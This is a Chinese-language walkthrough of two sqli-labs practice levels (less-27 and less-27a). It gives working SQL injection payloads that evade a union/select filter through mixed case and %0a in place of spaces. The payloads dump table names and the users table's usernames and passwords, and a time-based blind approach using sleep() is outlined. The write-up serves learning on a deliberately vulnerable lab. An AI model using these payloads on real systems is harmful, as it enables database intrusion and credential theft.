less-27
前期判断
判断为单引号字符注入,这道题说好的拿走了所有的union和select,但是好像还顺走了注释符和空格,经过测试可以用%0a替代空格。
先测试看看大写能不能绕过,嗯不能。
再试试双写,双写union
能绕过,但是双写select
就不行。
再试试大小写混合呢,可以。
注入
1’UnIoN%0ASeLEcT%0Anull,group_concat(table_name),null%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and’1’='1
浏览器没有返回,先来构造一下sql语句。
初次猜测的sql语句:select * from table where id = ''
加上诸如后的sql语句:select * from table where id = '1'UnIoN%0ASeLEcT%0Anull,group_concat(table_name),null%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and'1'='1'
因为等于1的时候会查询出来Dumb:Dumb 下一行又会跟上union查询的表名。但是他并没有输出,所以原始sql语句后面还有一个limit 0,1
sql语句:select * from table where id = '' limit 0,1
怎么让它显示第二行内容呢。让第一行搜索为空就能。
列名
值
'UnIoN%0ASeLEcT%0Anull,group_concat(username),group_concat(password)%0Afrom%0Ausers%0Awhere%0A1%0Aand'1'='1
源码时间
老规矩末尾有/s是正则表达式表示不管大小写,\转义。
sql语句和猜测的一样。
less-27a
前期判断
很容易判断出来是英文双引号注入。
sql语句
select * from table where id = ""
判断列数的时候发现只会返回正确与否,不会报错,考虑要盲注。
盲注
通过if加上sleep()和截取字符来实现盲注。
写个脚本就可以了
源码时间
可以看到打印sql报错被注释掉了